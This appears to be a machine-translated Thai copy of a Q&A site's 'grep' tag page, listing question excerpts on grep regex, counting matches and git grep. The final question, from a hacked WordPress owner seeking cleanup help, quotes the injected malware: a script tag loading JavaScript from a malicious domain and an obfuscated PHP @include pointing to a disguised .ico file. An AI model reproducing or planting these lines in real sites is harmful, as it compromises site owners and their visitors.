คำถามติดแท็ก grep

grep เป็นยูทิลิตี้ค้นหาข้อความบรรทัดคำสั่ง แต่เดิมเขียนสำหรับ Unix มันใช้การแสดงออกปกติเพื่อจับคู่ข้อความและมักจะใช้เป็นตัวกรองในท่อ ใช้แท็กนี้เฉพาะเมื่อคำถามของคุณเกี่ยวข้องกับการเขียนโปรแกรมโดยใช้ grep หรือ grep-based API คำถามที่เกี่ยวข้องกับการใช้หรือการแก้ไขปัญหาตัวเลือกบรรทัดคำสั่ง grep นั้นอยู่นอกหัวข้อ

6
จะให้รูปแบบสำหรับบรรทัดใหม่ใน grep ได้อย่างไร?
จะให้รูปแบบสำหรับบรรทัดใหม่ใน grep ได้อย่างไร? บรรทัดใหม่ที่จุดเริ่มต้นบรรทัดใหม่ในตอนท้าย ไม่ใช่วิธีการแสดงออกปกติ บางอย่างเช่น \ n.
95 bash  grep  newline 

5
นับจำนวนครั้งที่เกิดขึ้นของรูปแบบในไฟล์ (แม้ในบรรทัดเดียวกัน)
เมื่อค้นหาจำนวนครั้งของสตริงในไฟล์โดยทั่วไปฉันจะใช้: grep pattern file | wc -l อย่างไรก็ตามสิ่งนี้พบเพียงหนึ่งครั้งต่อบรรทัดเนื่องจากวิธีการทำงานของ grep ฉันจะค้นหาจำนวนครั้งที่สตริงปรากฏในไฟล์ได้อย่างไรไม่ว่าสตริงจะอยู่ในบรรทัดเดียวกันหรือต่างกัน แล้วถ้าฉันกำลังค้นหารูปแบบนิพจน์ทั่วไปไม่ใช่สตริงธรรมดาล่ะ? ฉันจะนับสิ่งเหล่านั้นได้อย่างไรหรือพิมพ์การแข่งขันแต่ละรายการในบรรทัดใหม่ให้ดียิ่งขึ้น
94 search  count  grep  match 

30
การตรวจสอบที่อยู่ IPv4 ด้วย regexp
ฉันพยายามรับ regex ที่มีประสิทธิภาพสำหรับการตรวจสอบความถูกต้อง IPv4 แต่ไม่มีโชคมากนัก ดูเหมือนว่ามีอยู่ช่วงหนึ่งที่ฉันมีมัน(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}แต่มันให้ผลลัพธ์ที่แปลกประหลาด: $ grep --version grep (GNU grep) 2.7 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' <<< 192.168.1.1 192.168.1.1 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' <<< 192.168.1.255 192.168.1.255 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' <<< 192.168.255.255 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' <<< 192.168.1.2555 192.168.1.2555 ฉันทำการค้นหาเพื่อดูว่าสิ่งนี้ถูกถามและตอบไปแล้วหรือไม่ แต่คำตอบอื่น ๆ ดูเหมือนจะแสดงให้เห็นว่าจะกำหนดตัวเลข 1-3 4 กลุ่มได้อย่างไรหรือไม่ได้ผลสำหรับฉัน

3
git grep ตามนามสกุลไฟล์
ฉันรู้ว่าถ้าฉันต้องการ grep สำหรับรูปแบบเฉพาะในไฟล์ที่มีนามสกุลบางอย่างฉันสามารถทำได้: // searches recursively and matches case insensitively in only javascript files // for "res" from the current directory grep -iIr --include=*.js res ./ ฉันพยายามค้นหาวิธีทำสิ่งนี้ผ่าน git grep เช่นกัน (เพื่อใช้ประโยชน์จากความเร็วของ git grep จากดัชนีที่เก็บไว้กับทรี) แต่ก็ไม่มีประโยชน์ ฉันเห็นที่นี่ว่าไม่สามารถยกเว้นไฟล์บางประเภทได้

8
วิธีตัดทอนบรรทัดการจับคู่แบบยาวที่ส่งคืนโดย grep หรือ ack
ฉันต้องการเรียกใช้ ack หรือ grep บนไฟล์ HTML ที่มักมีบรรทัดยาวมาก ฉันไม่อยากเห็นเส้นยาว ๆ ที่พันซ้ำ ๆ แต่ฉันอยากเห็นแค่ส่วนนั้นของเส้นยาวที่ล้อมรอบสตริงที่ตรงกับนิพจน์ทั่วไป ฉันจะได้รับสิ่งนี้โดยใช้เครื่องมือ Unix ร่วมกันได้อย่างไร
91 grep  unix  ack 

1
grep regex พฤติกรรมการเว้นวรรค
ฉันมีไฟล์ข้อความที่มีสิ่งที่ต้องการ: 12,34 EUR 5,67 EUR ... มีช่องว่างหนึ่งช่องก่อน "EUR" และฉันไม่สนใจ 0, XX EUR ฉันเหนื่อย: grep '[1-9][0-9]*,[0-9]\{2\}\sEUR' => didn't match ! grep '[1-9][0-9]*,[0-9]\{2\} EUR' => worked ! grep '[1-9][0-9]*,[0-9]\{2\}\s*EUR' => worked ! grep '[1-9][0-9]*,[0-9]\{2\}\s[E]UR' => worked ! ใครสักคนที่สามารถอธิบายให้ฉัน pls ทำไมฉันไม่สามารถใช้\sแต่\s*และ\s[E]จับคู่? ระบบปฏิบัติการ: Ubuntu 10.04, grep v2.5
90 regex  grep  gnu 

10
ใช้เครื่องหมายดาวใน grep
ฉันพยายามค้นหาสตริงย่อย "abc" ในไฟล์เฉพาะใน linux / bash ดังนั้นฉันจึง: grep '*abc*' myFile มันกลับไม่มีอะไร แต่ถ้าฉันทำ: grep 'abc' myFile ส่งคืนการจับคู่อย่างถูกต้อง ตอนนี้นี่ไม่ใช่ปัญหาสำหรับฉัน แต่ถ้าฉันต้องการ grep สำหรับสตริงที่ซับซ้อนกว่านี้ให้พูดว่า *abc * def * ฉันจะทำมันให้สำเร็จโดยใช้ grep ได้อย่างไร
90 regex  bash  grep 

5
แสดงชื่อไฟล์และหมายเลขบรรทัดในเอาต์พุต grep
ฉันพยายามค้นหาไดเร็กทอรีรางของฉันโดยใช้ grep ฉันกำลังมองหาคำที่ต้องการและต้องการ grep เพื่อพิมพ์ชื่อไฟล์และหมายเลขบรรทัด มีแฟล็ก grep ที่จะทำเพื่อฉันหรือไม่? ฉันพยายามใช้ชุดค่าผสม-nและ-lแต่สิ่งเหล่านี้เป็นการพิมพ์ชื่อไฟล์โดยไม่มีตัวเลขหรือเพียงแค่ทิ้งข้อความจำนวนมากไปยังเทอร์มินัลซึ่งไม่สามารถอ่านได้ง่าย เช่น: grep -ln "search" * ฉันต้องต่อท่อเพื่อ awk หรือไม่?
87 awk  grep 

15
grep สำหรับหลาย ๆ สตริงในไฟล์ในบรรทัดที่แตกต่างกัน (เช่นไฟล์ทั้งหมดไม่ใช่การค้นหาตามบรรทัด)?
ฉันต้องการที่จะ grep สำหรับไฟล์ที่มีคำDansk, Svenskaหรือ Norskบนเส้นใด ๆ กับรหัสผลลัพธ์ที่ใช้งาน (ที่ผมชอบจริงๆเท่านั้นที่จะมีข้อมูลที่สตริงที่มีอยู่, หนึ่งซับของฉันไปเล็ก ๆ น้อย ๆ อีกแล้วนี้) ฉันมีไฟล์จำนวนมากที่มีบรรทัดในลักษณะนี้: Disc Title: unknown Title: 01, Length: 01:33:37.000 Chapters: 33, Cells: 31, Audio streams: 04, Subpictures: 20 Subtitle: 01, Language: ar - Arabic, Content: Undefined, Stream id: 0x20, Subtitle: 02, Language: bg - Bulgarian, Content: Undefined, Stream …
85 bash  awk  grep 

7
วิธีแทนที่สตริงทั้งหมดด้วย sed หรือ grep
ดังนั้นเซิร์ฟเวอร์ทั้งหมดของฉันถูกแฮ็กหรือมีปัญหามัลแวร์ ไซต์ของฉันใช้ WordPress และไซต์ส่วนใหญ่ที่โฮสต์บนเซิร์ฟเวอร์ของฉันนั้นใช้ WordPress แฮ็กเกอร์เพิ่มรหัสบรรทัดนี้ให้กับทุกไฟล์และในฐานข้อมูล <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> ฉันค้นหาโดยใช้คำสั่ง grep grep -r "trasnaltemyrecords" /var/www/html/{*,.*} ฉันพยายามแทนที่มันตลอดโครงสร้างไฟล์ด้วยsedและฉันเขียนคำสั่งต่อไปนี้ sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php ฉันพยายามแทนที่สตริงในไฟล์เดียวindex.phpก่อนดังนั้นฉันจึงรู้ว่ามันใช้งานได้ และฉันรู้ว่ารหัสของฉันผิด โปรดช่วยฉันด้วยสิ่งนี้ ฉันลองใช้รหัส @ Eran และลบทั้งบรรทัดซึ่งดีและเป็นไปตามที่คาดไว้ อย่างไรก็ตามศัพท์แสงทั้งหมดนี้ /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ <?phpและในขณะที่ฉันต้องการที่จะลบเนื้อหาทั้งหมดที่ฉันต้องการให้แท็ก PHP เปิด แม้ว่าโซลูชันของ @ slybloty นั้นใช้งานง่ายและใช้งานได้ ดังนั้นเพื่อลบรหัสออกจากไฟล์ที่ได้รับผลกระทบทั้งหมด ฉันใช้ 3 คำสั่งต่อไปนี้ขอบคุณทุกท่านสำหรับสิ่งนี้ find . -type f -name …
10 bash  shell  sed  grep 
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.